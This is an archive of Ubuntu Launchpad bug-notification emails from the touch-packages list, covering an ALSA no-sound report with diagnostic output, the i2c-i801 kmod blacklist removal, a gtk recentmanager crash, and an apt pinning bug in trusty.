dmi:bvnAmericanMegatrendsInc.:bvrP2.70:bd12/01/2016:svnToBeFilledByO.E.M.:pnToBeFilledByO.E.M.:pvrToBeFilledByO.E.M.:rvnASRock:rnFM2A75M-DGS:rvr:cvnToBeFilledByO.E.M.:ct3:cvrToBeFilledByO.E.M.:
  dmi.product.family: To Be Filled By O.E.M.
  dmi.product.name: To Be Filled By O.E.M.
  dmi.product.version: To Be Filled By O.E.M.
  dmi.sys.vendor: To Be Filled By O.E.M.
  mtime.conffile..etc.modprobe.d.alsa-base.conf: 2019-04-25T18:19:18.090642

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1846930/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1846930] Re: [HDA-Intel - HD-Audio Generic, playback] No sound at all nor audio record at all too

[nicola]

I plugged in these https://www.trust.com/it/product/20943-polo-
compact-2-0-speaker-set usb powered speaker (they work good, tried them
via otg cable on smartphone) still get no sound

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to alsa-driver in Ubuntu.
https://bugs.launchpad.net/bugs/1846930

Title:
  [HDA-Intel - HD-Audio Generic, playback] No sound at all nor audio
  record at all too

Status in alsa-driver package in Ubuntu:
  New

Bug description:
  Any progress? Cannot hear anything nor record anything out my asrock
  fm2a75m-dgs

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: alsa-base 1.0.25+dfsg-0ubuntu5
  ProcVersionSignature: Ubuntu 4.15.0-65.74-generic 4.15.18
  Uname: Linux 4.15.0-65-generic x86_64
  NonfreeKernelModules: nvidia_modeset nvidia
  ApportVersion: 2.20.9-0ubuntu7.7
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC1:  hh 1267 F pulseaudio
   /dev/snd/controlC0:  hh 1267 F pulseaudio
  CurrentDesktop: XFCE
  Date: Sun Oct  6 09:27:53 2019
  InstallationDate: Installed on 2019-03-31 (188 days ago)
  InstallationMedia: Xubuntu 18.04 LTS "Bionic Beaver" - Release amd64 
(20180426)
  PackageArchitecture: all
  ProcEnviron:
   LANGUAGE=it
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=it_IT.UTF-8
   SHELL=/bin/bash
  SourcePackage: alsa-driver
  Symptom: audio
  Symptom_AlsaPlaybackTest: ALSA playback test through plughw:Generic failed
  Symptom_Card: GP107GL High Definition Audio Controller - HDA NVidia
  Symptom_DevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC1:  hh 1267 F pulseaudio
   /dev/snd/controlC0:  hh 1267 F pulseaudio
  Symptom_Type: No sound at all
  Title: [HDA-Intel - HD-Audio Generic, playback] No sound at all
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 12/01/2016
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: P2.70
  dmi.board.name: FM2A75M-DGS
  dmi.board.vendor: ASRock
  dmi.chassis.asset.tag: To Be Filled By O.E.M.
  dmi.chassis.type: 3
  dmi.chassis.vendor: To Be Filled By O.E.M.
  dmi.chassis.version: To Be Filled By O.E.M.
  dmi.modalias: 
dmi:bvnAmericanMegatrendsInc.:bvrP2.70:bd12/01/2016:svnToBeFilledByO.E.M.:pnToBeFilledByO.E.M.:pvrToBeFilledByO.E.M.:rvnASRock:rnFM2A75M-DGS:rvr:cvnToBeFilledByO.E.M.:ct3:cvrToBeFilledByO.E.M.:
  dmi.product.family: To Be Filled By O.E.M.
  dmi.product.name: To Be Filled By O.E.M.
  dmi.product.version: To Be Filled By O.E.M.
  dmi.sys.vendor: To Be Filled By O.E.M.
  mtime.conffile..etc.modprobe.d.alsa-base.conf: 2019-04-25T18:19:18.090642

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1846930/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1786574] Re: remove i2c-i801 from blacklist

[Anthony Wong]

Julian, what exactly is the problem you see in 19.10?

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to kmod in Ubuntu.
https://bugs.launchpad.net/bugs/1786574

Title:
  remove i2c-i801 from blacklist

Status in HWE Next:
  In Progress
Status in OEM Priority Project:
  In Progress
Status in kmod package in Ubuntu:
  Fix Released
Status in kmod source package in Xenial:
  In Progress
Status in kmod source package in Bionic:
  In Progress
Status in kmod source package in Cosmic:
  In Progress

Bug description:
  SRU justification
  

  [Impact]
  Many modern notebooks need i2c-i801 kernel module to function, but it is 
blacklisted by /etc/modprobe/blacklist.conf, which gives a very poor user 
experience.

  [Test case]
  1. Install Ubuntu
  2. Check touchpad works or not
  3. Install the fixed kmod package
  4. Confirm touchpad works

  [Regression Potential]
  i2c-i801 was blacklisted due to bug 16602. The user complains an HP Compaq 
nc6000 notebook cannot suspend without blacklisting i2c-i801. While this is a 
way to workaround the suspend issue, the proper fix should be in linux kernel. 
Since nc6000 was a machine sold in 2004, it is too difficult to find someone to 
verify if it will regress due to this SRU. The rationale to blacklist it is: 
https://bugs.launchpad.net/ubuntu/+source/hotplug/+bug/16602/comments/5, 
however it is no longer valid nowadays on modern computers.

  Besides, there look like to be a quirk in linux kernel that fixes it:
  https://github.com/torvalds/linux/blame/master/drivers/pci/quirks.c#L1434

  [Other Info]
  rationale of i2c_i801 driver blacklist: 
https://answers.launchpad.net/ubuntu/+source/kmod/+question/269329

  
---
  Original bug report:

  We have a Lenovo Thinkpad machine that requires i2c-i801 kernel module
  to work, but it is listed in /etc/modprobe/blacklist.conf in Ubuntu.
  To use the touchpad, users have to remove the i2c-i801 line manually.

  i2c-i801 in blacklist.conf is a very old workaround to fix HP compaq nc6000
  (Bug #16602), this module should be removed from blacklist.

  There is also another bug (Bug #1475945) that needs this module for
  Acer trackpad to work.

To manage notifications about this bug go to:
https://bugs.launchpad.net/hwe-next/+bug/1786574/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1846930] Re: [HDA-Intel - HD-Audio Generic, playback] No sound at all nor audio record at all too

[Hui Wang]

Did you plug the headphone to the headphone jack or lineout jack? from
the log of #5, they are not plugged or the plugging is not detected (all
not available).

Porte:
analog-output-lineout: Line-Out (priority: 9900, not available)
analog-output-headphones: Cuffie analogiche (priority: 9000, not 
available)
Porta attiva: analog-output-lineout

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to alsa-driver in Ubuntu.
https://bugs.launchpad.net/bugs/1846930

Title:
  [HDA-Intel - HD-Audio Generic, playback] No sound at all nor audio
  record at all too

Status in alsa-driver package in Ubuntu:
  New

Bug description:
  Any progress? Cannot hear anything nor record anything out my asrock
  fm2a75m-dgs

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: alsa-base 1.0.25+dfsg-0ubuntu5
  ProcVersionSignature: Ubuntu 4.15.0-65.74-generic 4.15.18
  Uname: Linux 4.15.0-65-generic x86_64
  NonfreeKernelModules: nvidia_modeset nvidia
  ApportVersion: 2.20.9-0ubuntu7.7
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC1:  hh 1267 F pulseaudio
   /dev/snd/controlC0:  hh 1267 F pulseaudio
  CurrentDesktop: XFCE
  Date: Sun Oct  6 09:27:53 2019
  InstallationDate: Installed on 2019-03-31 (188 days ago)
  InstallationMedia: Xubuntu 18.04 LTS "Bionic Beaver" - Release amd64 
(20180426)
  PackageArchitecture: all
  ProcEnviron:
   LANGUAGE=it
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=it_IT.UTF-8
   SHELL=/bin/bash
  SourcePackage: alsa-driver
  Symptom: audio
  Symptom_AlsaPlaybackTest: ALSA playback test through plughw:Generic failed
  Symptom_Card: GP107GL High Definition Audio Controller - HDA NVidia
  Symptom_DevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC1:  hh 1267 F pulseaudio
   /dev/snd/controlC0:  hh 1267 F pulseaudio
  Symptom_Type: No sound at all
  Title: [HDA-Intel - HD-Audio Generic, playback] No sound at all
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 12/01/2016
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: P2.70
  dmi.board.name: FM2A75M-DGS
  dmi.board.vendor: ASRock
  dmi.chassis.asset.tag: To Be Filled By O.E.M.
  dmi.chassis.type: 3
  dmi.chassis.vendor: To Be Filled By O.E.M.
  dmi.chassis.version: To Be Filled By O.E.M.
  dmi.modalias: 
dmi:bvnAmericanMegatrendsInc.:bvrP2.70:bd12/01/2016:svnToBeFilledByO.E.M.:pnToBeFilledByO.E.M.:pvrToBeFilledByO.E.M.:rvnASRock:rnFM2A75M-DGS:rvr:cvnToBeFilledByO.E.M.:ct3:cvrToBeFilledByO.E.M.:
  dmi.product.family: To Be Filled By O.E.M.
  dmi.product.name: To Be Filled By O.E.M.
  dmi.product.version: To Be Filled By O.E.M.
  dmi.sys.vendor: To Be Filled By O.E.M.
  mtime.conffile..etc.modprobe.d.alsa-base.conf: 2019-04-25T18:19:18.090642

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1846930/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1846930] Re: [HDA-Intel - HD-Audio Generic, playback] No sound at all nor audio record at all too

[nicola]

I could not post gnome-sound-settings because my environment is xfce4
not gnome

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to alsa-driver in Ubuntu.
https://bugs.launchpad.net/bugs/1846930

Title:
  [HDA-Intel - HD-Audio Generic, playback] No sound at all nor audio
  record at all too

Status in alsa-driver package in Ubuntu:
  New

Bug description:
  Any progress? Cannot hear anything nor record anything out my asrock
  fm2a75m-dgs

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: alsa-base 1.0.25+dfsg-0ubuntu5
  ProcVersionSignature: Ubuntu 4.15.0-65.74-generic 4.15.18
  Uname: Linux 4.15.0-65-generic x86_64
  NonfreeKernelModules: nvidia_modeset nvidia
  ApportVersion: 2.20.9-0ubuntu7.7
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC1:  hh 1267 F pulseaudio
   /dev/snd/controlC0:  hh 1267 F pulseaudio
  CurrentDesktop: XFCE
  Date: Sun Oct  6 09:27:53 2019
  InstallationDate: Installed on 2019-03-31 (188 days ago)
  InstallationMedia: Xubuntu 18.04 LTS "Bionic Beaver" - Release amd64 
(20180426)
  PackageArchitecture: all
  ProcEnviron:
   LANGUAGE=it
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=it_IT.UTF-8
   SHELL=/bin/bash
  SourcePackage: alsa-driver
  Symptom: audio
  Symptom_AlsaPlaybackTest: ALSA playback test through plughw:Generic failed
  Symptom_Card: GP107GL High Definition Audio Controller - HDA NVidia
  Symptom_DevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC1:  hh 1267 F pulseaudio
   /dev/snd/controlC0:  hh 1267 F pulseaudio
  Symptom_Type: No sound at all
  Title: [HDA-Intel - HD-Audio Generic, playback] No sound at all
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 12/01/2016
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: P2.70
  dmi.board.name: FM2A75M-DGS
  dmi.board.vendor: ASRock
  dmi.chassis.asset.tag: To Be Filled By O.E.M.
  dmi.chassis.type: 3
  dmi.chassis.vendor: To Be Filled By O.E.M.
  dmi.chassis.version: To Be Filled By O.E.M.
  dmi.modalias: 
dmi:bvnAmericanMegatrendsInc.:bvrP2.70:bd12/01/2016:svnToBeFilledByO.E.M.:pnToBeFilledByO.E.M.:pvrToBeFilledByO.E.M.:rvnASRock:rnFM2A75M-DGS:rvr:cvnToBeFilledByO.E.M.:ct3:cvrToBeFilledByO.E.M.:
  dmi.product.family: To Be Filled By O.E.M.
  dmi.product.name: To Be Filled By O.E.M.
  dmi.product.version: To Be Filled By O.E.M.
  dmi.sys.vendor: To Be Filled By O.E.M.
  mtime.conffile..etc.modprobe.d.alsa-base.conf: 2019-04-25T18:19:18.090642

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1846930/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1846930] Re: [HDA-Intel - HD-Audio Generic, playback] No sound at all nor audio record at all too

[nicola]

hh@hh-desktop:~$ pactl list
Modulo #0
Nome: module-device-restore
Argomento: 
Contatore utilizzi: N/D
Proprietà:
module.author = "Lennart Poettering"
module.description = "Automatically restore the volume/mute 
state of devices"
module.version = "11.1"

Modulo #1
Nome: module-stream-restore
Argomento: 
Contatore utilizzi: N/D
Proprietà:
module.author = "Lennart Poettering"
module.description = "Automatically restore the 
volume/mute/device state of streams"
module.version = "11.1"

Modulo #2
Nome: module-card-restore
Argomento: 
Contatore utilizzi: N/D
Proprietà:
module.author = "Lennart Poettering"
module.description = "Automatically restore profile of cards"
module.version = "11.1"

Modulo #3
Nome: module-augment-properties
Argomento: 
Contatore utilizzi: N/D
Proprietà:
module.author = "Lennart Poettering"
module.description = "Augment the property sets of streams with 
additional static information"
module.version = "11.1"

Modulo #4
Nome: module-switch-on-port-available
Argomento: 
Contatore utilizzi: N/D
Proprietà:


Modulo #5
Nome: module-switch-on-connect
Argomento: 
Contatore utilizzi: N/D
Proprietà:
module.author = "Michael Terry"
module.description = "When a sink/source is added, switch to it 
or conditionally switch to it"
module.version = "11.1"

Modulo #6
Nome: module-udev-detect
Argomento: 
Contatore utilizzi: N/D
Proprietà:
module.author = "Lennart Poettering"
module.description = "Detect available audio hardware and load 
matching drivers"
module.version = "11.1"

Modulo #7
Nome: module-alsa-card
Argomento: device_id="1" name="pci-_01_00.1" 
card_name="alsa_card.pci-_01_00.1" namereg_fail=false tsched=yes 
fixed_latency_range=no ignore_dB=no deferred_volume=yes use_ucm=yes 
card_properties="module-udev-detect.discovered=1"
Contatore utilizzi: 1
Proprietà:
module.author = "Lennart Poettering"
module.description = "ALSA Card"
module.version = "11.1"

Modulo #8
Nome: module-alsa-card
Argomento: device_id="0" name="pci-_00_14.2" 
card_name="alsa_card.pci-_00_14.2" namereg_fail=false tsched=yes 
fixed_latency_range=no ignore_dB=no deferred_volume=yes use_ucm=yes 
card_properties="module-udev-detect.discovered=1"
Contatore utilizzi: 1
Proprietà:
module.author = "Lennart Poettering"
module.description = "ALSA Card"
module.version = "11.1"

Modulo #9
Nome: module-bluetooth-policy
Argomento: 
Contatore utilizzi: N/D
Proprietà:
module.author = "Frédéric Dalleau, Pali Rohár"
module.description = "Policy module to make using bluetooth 
devices out-of-the-box easier"
module.version = "11.1"

Modulo #10
Nome: module-bluetooth-discover
Argomento: 
Contatore utilizzi: N/D
Proprietà:
module.author = "João Paulo Rechi Vita"
module.description = "Detect available Bluetooth daemon and 
load the corresponding discovery module"
module.version = "11.1"

Modulo #11
Nome: module-bluez5-discover
Argomento: 
Contatore utilizzi: N/D
Proprietà:
module.author = "João Paulo Rechi Vita"
module.description = "Detect available BlueZ 5 Bluetooth audio 
devices and load BlueZ 5 Bluetooth audio drivers"
module.version = "11.1"

Modulo #12
Nome: module-native-protocol-unix
Argomento: 
Contatore utilizzi: N/D
Proprietà:
module.author = "Lennart Poettering"
module.description = "Native protocol (UNIX sockets)"
module.version = "11.1"

Modulo #13
Nome: module-gconf
Argomento: 
Contatore utilizzi: N/D
Proprietà:
module.author = "Lennart Poettering"
module.description = "GConf Adapter"
module.version = "11.1"

Modulo #14
Nome: module-default-device-restore
Argomento: 
Contatore utilizzi: N/D
Proprietà:
module.author = "Lennart Poettering"
module.description = "Automatically restore the default sink 
and source"
module.version = "11.1"

Modulo #15
Nome: module-rescue-streams
Argomento: 
Contatore utilizzi: N/D
Proprietà:
modu

[Touch-packages] [Bug 1847493] Stacktrace.txt

[Apport retracing service]

** Attachment added: "Stacktrace.txt"
   
https://bugs.launchpad.net/bugs/1847493/+attachment/5295987/+files/Stacktrace.txt

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gtk+3.0 in Ubuntu.
https://bugs.launchpad.net/bugs/1847493

Title:
  recentmanager crashed with signal 5 in _g_log_abort()

Status in gtk+3.0 package in Ubuntu:
  New

Bug description:
  recentmanager crashed while I was running gnome-desktop-testing-runner

  ProblemType: Crash
  DistroRelease: Ubuntu 19.10
  Package: gtk-3-examples 3.24.12-1ubuntu1
  Uname: Linux 5.3.5-050305-generic x86_64
  ApportVersion: 2.20.11-0ubuntu7
  Architecture: amd64
  CurrentDesktop: KDE
  Date: Wed Oct  9 11:44:28 2019
  ExecutablePath: /usr/libexec/installed-tests/gtk+/recentmanager
  ProcCmdline: /usr/libexec/installed-tests/gtk+/recentmanager --tap
  Signal: 5
  SourcePackage: gtk+3.0
  StacktraceTop:
   _g_log_abort (breakpoint=1) at ../../../glib/gmessages.c:554
   g_log_writer_default (log_level=18, log_level@entry=G_LOG_LEVEL_WARNING, 
fields=fields@entry=0x7ffd694bb840, n_fields=n_fields@entry=6, 
user_data=user_data@entry=0x0) at ../../../glib/gmessages.c:2694
   g_log_structured_array (n_fields=6, fields=0x7ffd694bb840, 
log_level=G_LOG_LEVEL_WARNING) at ../../../glib/gmessages.c:1925
   g_log_structured_array (log_level=G_LOG_LEVEL_WARNING, 
fields=0x7ffd694bb840, n_fields=6) at ../../../glib/gmessages.c:1898
   g_log_structured_standard (log_domain=log_domain@entry=0x7f4c5831c047 "Gtk", 
log_level=log_level@entry=G_LOG_LEVEL_WARNING, file=file@entry=0x7f4c58379b60 
"../../../../gtk/gtkrecentmanager.c", line=, func=, message_format=) at ../../../glib/gmessages.c:1982
  Title: recentmanager crashed with signal 5 in _g_log_abort()
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dip fuse kvm libvirt libvirt-qemu libvirtd lpadmin 
plugdev sambashare staff sudo
  separator:

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gtk+3.0/+bug/1847493/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1847493] ThreadStacktrace.txt

[Apport retracing service]

** Attachment added: "ThreadStacktrace.txt"
   
https://bugs.launchpad.net/bugs/1847493/+attachment/5295989/+files/ThreadStacktrace.txt

** Attachment removed: "CoreDump.gz"
   
https://bugs.launchpad.net/bugs/1847493/+attachment/5295972/+files/CoreDump.gz

** Changed in: gtk+3.0 (Ubuntu)
   Importance: Undecided => Medium

** Tags removed: need-amd64-retrace

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gtk+3.0 in Ubuntu.
https://bugs.launchpad.net/bugs/1847493

Title:
  recentmanager crashed with signal 5 in _g_log_abort()

Status in gtk+3.0 package in Ubuntu:
  New

Bug description:
  recentmanager crashed while I was running gnome-desktop-testing-runner

  ProblemType: Crash
  DistroRelease: Ubuntu 19.10
  Package: gtk-3-examples 3.24.12-1ubuntu1
  Uname: Linux 5.3.5-050305-generic x86_64
  ApportVersion: 2.20.11-0ubuntu7
  Architecture: amd64
  CurrentDesktop: KDE
  Date: Wed Oct  9 11:44:28 2019
  ExecutablePath: /usr/libexec/installed-tests/gtk+/recentmanager
  ProcCmdline: /usr/libexec/installed-tests/gtk+/recentmanager --tap
  Signal: 5
  SourcePackage: gtk+3.0
  StacktraceTop:
   _g_log_abort (breakpoint=1) at ../../../glib/gmessages.c:554
   g_log_writer_default (log_level=18, log_level@entry=G_LOG_LEVEL_WARNING, 
fields=fields@entry=0x7ffd694bb840, n_fields=n_fields@entry=6, 
user_data=user_data@entry=0x0) at ../../../glib/gmessages.c:2694
   g_log_structured_array (n_fields=6, fields=0x7ffd694bb840, 
log_level=G_LOG_LEVEL_WARNING) at ../../../glib/gmessages.c:1925
   g_log_structured_array (log_level=G_LOG_LEVEL_WARNING, 
fields=0x7ffd694bb840, n_fields=6) at ../../../glib/gmessages.c:1898
   g_log_structured_standard (log_domain=log_domain@entry=0x7f4c5831c047 "Gtk", 
log_level=log_level@entry=G_LOG_LEVEL_WARNING, file=file@entry=0x7f4c58379b60 
"../../../../gtk/gtkrecentmanager.c", line=, func=, message_format=) at ../../../glib/gmessages.c:1982
  Title: recentmanager crashed with signal 5 in _g_log_abort()
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dip fuse kvm libvirt libvirt-qemu libvirtd lpadmin 
plugdev sambashare staff sudo
  separator:

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gtk+3.0/+bug/1847493/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1847496] Re: [trusty] policy not always initialized when building depcache

[Julian Andres Klode]

The fix is the first hunk in

https://salsa.debian.org/apt-
team/apt/commit/592d06b6f3c2ef2ae47c38005ae3c4e96a0841f2

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1847496

Title:
  [trusty] policy not always initialized when building depcache

Status in apt package in Ubuntu:
  Invalid
Status in apt source package in Trusty:
  Triaged

Bug description:
  [Impact]
  apt in trusty does not always initialize the policy before constructing the 
depcache. This means that if you access the depcache, it does not respect 
pinning when calculating upgrades.

  This is not a general problem - according to current knowledge, it
  only affects apt list. It does affect any code that requests a
  depCache from pkgCacheFile without having explicitly build caches, or
  explicitly initialized policy (which other parts of apt do).

  
  [Test case]

  1. Add deb https://esm.ubuntu.com/ubuntu/ trusty-infra-security main to 
sources.list
  2. Pin it down

  Package: *
  Pin: release trusty-infra-security
  Pin-Priority: -1

  3. Look at apt list apport

  Currently it shows:

  apport/trusty-updates,trusty-security,now 2.14.1-0ubuntu3.29 all
  [installed,upgradable to: 2.14.1-0ubuntu3.29]

  because when calculating whether the package is upgradable, it did not
  see the pinning.

  Correct would be:

  apport/trusty-updates,trusty-security,now 2.14.1-0ubuntu3.29 all
  [installed]

  [Regression potential]
  Behavior of code that only initializes depcache, but not policy will change. 
For example, pinning will be applied in such code (as it is in later versions, 
and should be). This adds some more error cases as well, such as parsing 
failures for preferences files.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1847496/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1847493] recentmanager crashed with signal 5 in _g_log_abort()

[Apport retracing service]

StacktraceTop:
 _g_log_abort () from 
/tmp/apport_sandbox_qry5beid/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0
 g_log_writer_default () from 
/tmp/apport_sandbox_qry5beid/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0
 g_log_structured_array () from 
/tmp/apport_sandbox_qry5beid/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0
 g_log_structured_standard () from 
/tmp/apport_sandbox_qry5beid/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0
 gtk_recent_manager_add_full (manager=0x559fa3204e60, uri=0x559fa2f013b0 
"file:///tmp/testrecentchooser.txt", data=0x559fa32cea00) at 
../../../../gtk/gtkrecentmanager.c:953

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gtk+3.0 in Ubuntu.
https://bugs.launchpad.net/bugs/1847493

Title:
  recentmanager crashed with signal 5 in _g_log_abort()

Status in gtk+3.0 package in Ubuntu:
  New

Bug description:
  recentmanager crashed while I was running gnome-desktop-testing-runner

  ProblemType: Crash
  DistroRelease: Ubuntu 19.10
  Package: gtk-3-examples 3.24.12-1ubuntu1
  Uname: Linux 5.3.5-050305-generic x86_64
  ApportVersion: 2.20.11-0ubuntu7
  Architecture: amd64
  CurrentDesktop: KDE
  Date: Wed Oct  9 11:44:28 2019
  ExecutablePath: /usr/libexec/installed-tests/gtk+/recentmanager
  ProcCmdline: /usr/libexec/installed-tests/gtk+/recentmanager --tap
  Signal: 5
  SourcePackage: gtk+3.0
  StacktraceTop:
   _g_log_abort (breakpoint=1) at ../../../glib/gmessages.c:554
   g_log_writer_default (log_level=18, log_level@entry=G_LOG_LEVEL_WARNING, 
fields=fields@entry=0x7ffd694bb840, n_fields=n_fields@entry=6, 
user_data=user_data@entry=0x0) at ../../../glib/gmessages.c:2694
   g_log_structured_array (n_fields=6, fields=0x7ffd694bb840, 
log_level=G_LOG_LEVEL_WARNING) at ../../../glib/gmessages.c:1925
   g_log_structured_array (log_level=G_LOG_LEVEL_WARNING, 
fields=0x7ffd694bb840, n_fields=6) at ../../../glib/gmessages.c:1898
   g_log_structured_standard (log_domain=log_domain@entry=0x7f4c5831c047 "Gtk", 
log_level=log_level@entry=G_LOG_LEVEL_WARNING, file=file@entry=0x7f4c58379b60 
"../../../../gtk/gtkrecentmanager.c", line=, func=, message_format=) at ../../../glib/gmessages.c:1982
  Title: recentmanager crashed with signal 5 in _g_log_abort()
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dip fuse kvm libvirt libvirt-qemu libvirtd lpadmin 
plugdev sambashare staff sudo
  separator:

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gtk+3.0/+bug/1847493/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1847493] StacktraceSource.txt

[Apport retracing service]

** Attachment added: "StacktraceSource.txt"
   
https://bugs.launchpad.net/bugs/1847493/+attachment/5295988/+files/StacktraceSource.txt

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gtk+3.0 in Ubuntu.
https://bugs.launchpad.net/bugs/1847493

Title:
  recentmanager crashed with signal 5 in _g_log_abort()

Status in gtk+3.0 package in Ubuntu:
  New

Bug description:
  recentmanager crashed while I was running gnome-desktop-testing-runner

  ProblemType: Crash
  DistroRelease: Ubuntu 19.10
  Package: gtk-3-examples 3.24.12-1ubuntu1
  Uname: Linux 5.3.5-050305-generic x86_64
  ApportVersion: 2.20.11-0ubuntu7
  Architecture: amd64
  CurrentDesktop: KDE
  Date: Wed Oct  9 11:44:28 2019
  ExecutablePath: /usr/libexec/installed-tests/gtk+/recentmanager
  ProcCmdline: /usr/libexec/installed-tests/gtk+/recentmanager --tap
  Signal: 5
  SourcePackage: gtk+3.0
  StacktraceTop:
   _g_log_abort (breakpoint=1) at ../../../glib/gmessages.c:554
   g_log_writer_default (log_level=18, log_level@entry=G_LOG_LEVEL_WARNING, 
fields=fields@entry=0x7ffd694bb840, n_fields=n_fields@entry=6, 
user_data=user_data@entry=0x0) at ../../../glib/gmessages.c:2694
   g_log_structured_array (n_fields=6, fields=0x7ffd694bb840, 
log_level=G_LOG_LEVEL_WARNING) at ../../../glib/gmessages.c:1925
   g_log_structured_array (log_level=G_LOG_LEVEL_WARNING, 
fields=0x7ffd694bb840, n_fields=6) at ../../../glib/gmessages.c:1898
   g_log_structured_standard (log_domain=log_domain@entry=0x7f4c5831c047 "Gtk", 
log_level=log_level@entry=G_LOG_LEVEL_WARNING, file=file@entry=0x7f4c58379b60 
"../../../../gtk/gtkrecentmanager.c", line=, func=, message_format=) at ../../../glib/gmessages.c:1982
  Title: recentmanager crashed with signal 5 in _g_log_abort()
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dip fuse kvm libvirt libvirt-qemu libvirtd lpadmin 
plugdev sambashare staff sudo
  separator:

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gtk+3.0/+bug/1847493/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1847496] [NEW] [trusty] policy not always initialized when building depcache

[Julian Andres Klode]

Public bug reported:

[Impact]
apt in trusty does not always initialize the policy before constructing the 
depcache. This means that if you access the depcache, it does not respect 
pinning when calculating upgrades.

This is not a general problem - according to current knowledge, it only
affects apt list. It does affect any code that requests a depCache from
pkgCacheFile without having explicitly build caches, or explicitly
initialized policy (which other parts of apt do).


[Test case]

1. Add deb https://esm.ubuntu.com/ubuntu/ trusty-infra-security main to 
sources.list
2. Pin it down

Package: *
Pin: release trusty-infra-security
Pin-Priority: -1

3. Look at apt list apport

Currently it shows:

apport/trusty-updates,trusty-security,now 2.14.1-0ubuntu3.29 all
[installed,upgradable to: 2.14.1-0ubuntu3.29]

because when calculating whether the package is upgradable, it did not
see the pinning.

